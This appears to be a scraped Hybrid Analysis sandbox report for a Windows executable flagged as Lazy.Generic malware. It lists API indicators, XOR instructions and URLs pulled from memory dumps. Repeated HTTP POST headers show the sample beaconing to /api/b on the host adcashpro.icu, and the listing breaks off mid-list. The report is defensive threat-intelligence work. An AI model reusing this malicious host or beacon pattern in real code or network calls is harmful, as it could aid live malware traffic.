26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T485,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Lazy.Generic Sample 6d33f632c9b5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6d33f632c9b5…. Malware family: Lazy.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3","keywords":["Malicious","Lazy.Generic","malware analysis","sandbox report","threat intelligence","6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3"],"about":{"@type":"SoftwareApplication","name":"DAIs3ZV.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Lazy.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T546,Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "NtAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; File: "00000000-00002672.00000001.110699.01361000.00000020.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; File: "00000000-00002672.00000001.110699.01361000.00000020.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "NtWriteVirtualMemory"; File: "00000000-00002672.00000001.110699.01361000.00000020.mdmp") Found reference to API "NtCreateThreadE" (Indicator: "CreateThread"; File: "00000000-00002672.00000001.110699.01361000.00000020.mdmp") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")28:T636,Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002672.00000001.110699.F4C72000.00000002.mdmp, 00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")29:T418,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")2a:T8bf,Assembly shows XOR instruction xor rax rsp in Stream UID: 55087-415-0040730C Assembly shows XOR instruction xor eax esp in Stream UID: 55087-415-0040730C Assembly shows XOR instruction xor rcx rsp in Stream UID: 55087-415-0040730C Assembly shows XOR instruction xor ecx esp in Stream UID: 55087-415-0040730C Assembly shows XOR instruction xor rax rsp in Stream UID: 55087-454-0040C708 Assembly shows XOR instruction xor eax esp in Stream UID: 55087-454-0040C708 Assembly shows XOR instruction xor rcx rsp in Stream UID: 55087-454-0040C708 Assembly shows XOR instruction xor ecx esp in Stream UID: 55087-454-0040C708 Assembly shows XOR instruction xor eax dword ptr [rbp-68h] in Stream UID: 55087-504-00402264 Assembly shows XOR instruction xor eax dword ptr [r14+00000080h] in Stream UID: 55087-504-00402264 Assembly shows XOR instruction xor eax dword ptr [rsi+00000080h] in Stream UID: 55087-504-00402264 Assembly shows XOR instruction xor rax rsp in Stream UID: 55087-594-0040CCA8 Assembly shows XOR instruction xor eax esp in Stream UID: 55087-594-0040CCA8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 55087-594-0040CCA8 Assembly shows XOR instruction xor ecx esp in Stream UID: 55087-594-0040CCA8 Assembly shows XOR instruction xor qword ptr [rbp-10h] rax in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor dword ptr [rbp-10h] eax in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor rax qword ptr [rbp+18h] in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor eax dword ptr [rbp+18h] in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor rax qword ptr [rbp-10h] in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor eax dword ptr [rbp-10h] in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor rax rcx in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor eax ecx in Stream UID: 55087-1554-00405B1D Assembly shows XOR instruction xor ebp dword ptr [rbp+22h] in Stream UID: 55087-1604-00404E4B Assembly shows XOR instruction xor cl dl in Stream UID: 55087-1641-0040E0E9 Assembly shows XOR instruction xor eax 814D09CCh in Stream UID: 55087-1647-0040F7D62b:T2fa5,Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 207Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 207Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 207Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 207Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 207Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 213Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 213Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 213Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 213Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 213Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 214Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 214Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 214Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 214Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 214Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 222Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 222Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 222Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 222Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 222Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 217Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 217Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 217Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 217Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 217Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 227Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 227Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 227Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 227Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 227Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 231Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 231Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 231Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 231Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 231Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 224Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 224Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 224Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 224Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 224Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 250Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 250Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 250Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 250Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 250Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 219Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 219Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 219Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 219Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 219Host: adcashpro.icu" Contains base64 string in header "POST" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 247Host: adcashpro.icu" Contains base64 string in header "Keep" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 247Host: adcashpro.icu" Contains base64 string in header "AliveContent" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 247Host: adcashpro.icu" Contains base64 string in header "Type" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 247Host: adcashpro.icu" Contains base64 string in header "application/jsonUser" in header "POST /api/b HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Content-Length: 247Host: adcashpro.icu"2c:T430,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "6d33f632c9b59f6a6839ee32cb613f5409aa7007785358e12c3e4f1c11f17fa3.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002672.00000002.112620.01381000.00000002.mdmp, 00000000-00002672.00000003.118130.D5440000.00000004.mdmp")2d:T775,"32.dll," - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=tq%2brtxt4kcu9sz8phs%2bnohja1w7hcfngrhjtavv13y2wan75h2rmkpoqdgdqagz4%2flxfjddv%2btrts0bx4c4xoaijuyoa8iwocvkcxuw%3d" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcwysxvqe" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/b&u8:&x88&_8e&" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://adcashpro.icu/api/bcontent-typeapplication/jsonbhv*8tpacontent-typeapplication/jsonhttps://adcashpro.icu/api/bthawte," - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ewyrsglobalsign" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;wyrjaddtrust" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.miprod*/mict2011_20wy[%1n8jwx_((" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3wxfsrszyswyx4il" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpwy?@washington1redmond1microsoft" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=ekzqegd8qgzvhumcu2ownoykivdqisqoe3c9nuns69a872qapxkrj3drcqxhoplp4uiykfx%2f7emxwxho3lp2gbc5gqthnht0cypqx4s%3d" - Source: "00000000-00002672.00000000.108780.D2D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=lnc4v1bxfz8qqzxbllpueq%2bsdrgprkravoe%2fjkhmvrc4zcksc5xuuibjjc4vkz2wxtkrzbs%2fkneiofje1pioao4hvjwq5k2ewcfoe%2bs%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=7nrmthmklm%2ff0lv02dijr2shrbqfrlmz9eudwv1gizdzk1iwke%2f0cc%2bhhw5ecjf31h6erodihhc5lsft3c1tglxefukgedwotxxveyq%3d" - Source: "00000000-00002672.00000000.108780.D4D00000.00000004.mdmp") Found URL 